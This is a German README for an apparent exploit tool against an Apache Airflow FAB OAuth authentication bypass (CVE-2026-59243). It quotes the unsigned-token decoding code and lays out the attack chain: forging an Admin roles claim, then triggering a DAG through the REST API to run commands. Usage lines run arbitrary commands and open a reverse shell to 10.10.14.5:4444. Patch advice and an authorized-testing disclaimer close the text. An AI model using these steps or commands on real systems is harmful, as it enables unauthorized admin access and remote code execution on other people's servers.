0xdak/cve-2026-59243_exploitExploit für die Apache Airflow FAB OAuth-Authentifizierungsumgehung (CVE-2026-59243), der Administratorzugriff und Remote-Codeausführung ermöglicht, indem ein präparierter DAG über die REST-API ausgelöst wird.
Authentifizierungs-Bypass im FAB-Auth-Manager-Provider von Apache Airflow (apache-airflow-providers-fab), der über einen ausgelösten DAG zu Remote-Codeausführung führt.
Der Provider dekodiert das Azure OAuth id_token standardmäßig mit deaktivierter Signaturprüfung (airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt):
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
... # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload)) # raw payload, NO signature check
Die Claims werden direkt auf die Identität abgebildet — oid → Benutzername, roles → role_keys — und AUTH_ROLES_MAPPING wandelt einen roles=["Azure-Admins"]-Claim in die Rolle Admin um. Da Signatur/Aussteller/Zielgruppe des Tokens nie geprüft werden (CWE-347), authentifiziert sich ein Angreifer, der den OAuth-Ablauf abschließt, als Admin ohne echte Anmeldedaten. Ein Admin kann dann einen DAG auslösen, der beliebige Befehle ausführt.
apache-airflow-providers-fab < 3.7.3 (mit apache-airflow >= 3.0.2)3.7.3 (Standard auf verify_signature=True umgestellt; Token wird gegen Microsofts JWKS validiert)8080 (Airflow-UI + REST-API)Nur Python-3-Standardbibliothek. Das Ziel muss den FAB-Auth-Manager mit dem verwundbaren Azure-OAuth-Provider konfiguriert haben und (für den RCE-Schritt) einen DAG, dessen Aufgabe das vom Angreifer kontrollierte dag_run.conf ausführt.
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444 # nc -lvnp 4444 first
GET /auth/login/azure → IdP → /auth/oauth-authorized/azure) mit einem Cookie-Jar durchlaufen. FAB akzeptiert das unsignierte/gefälschte id_token und meldet sich als Admin an, wobei ein session-Cookie und ein _token-Cookie gesetzt werden (das JWT, das die REST-API erwartet).POST /api/v2/dags/<dag>/dagRuns (Bearer _token) mit {"conf":{"cmd":"..."}} löst einen DAG aus, dessen BashOperator dag_run.conf['cmd'] ausführt. Verwende pro Lauf ein eindeutiges logical_date (das Paar (dag_id, logical_date) ist in der Metadaten-DB eindeutig).Das Tool schreibt außerdem den Loopback-Host im OAuth-authorize-Redirect auf das Ziel um, sodass es gegen ein entferntes Ziel funktioniert, dessen IdP in der Serverkonfiguration als 127.0.0.1 angegeben ist.
Dies nutzt den Token-Überprüfungsfehler aus. Um Admin zu erreichen, muss der OAuth-Ablauf ein Token mit einem erhöhten roles-Claim liefern — trivial, wenn IdP/Token beeinflusst werden können, da Airflow die Signatur nie überprüft. Der RCE-Schritt setzt einen DAG voraus, der dag_run.conf ausführt (ein häufiges Muster); andernfalls kann der Admin-Zugriff über andere Airflow-Funktionen ausgenutzt werden.
Aktualisiere apache-airflow-providers-fab auf ≥ 3.7.3; ordne extern behauptete OAuth-Rollenclaims niemals direkt Admin zu; führe Airflow nicht als Root aus; halte die UI/API von nicht vertrauenswürdigen Netzwerken fern.
Nur für autorisierte Sicherheitstests und Schulungszwecke. Verwende es nur gegen Systeme, die dir gehören oder für die du eine ausdrückliche Testgenehmigung hast.